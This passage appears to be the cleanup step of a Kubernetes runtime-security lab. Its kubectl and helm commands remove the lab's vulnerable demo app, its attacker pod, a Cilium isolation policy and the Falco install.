kubectl delete serviceaccount falco-handler

# Remove the Cilium Network Policy
kubectl delete -f ../manifests/isolate-tainted-policy.yaml --ignore-not-found

# Remove the application and attacker pod
kubectl delete deployment vulnapp
kubectl delete service vulnapp
kubectl delete pod attacker --ignore-not-found

# Remove Falco
helm uninstall falco -n falco
kubectl delete namespace falco
```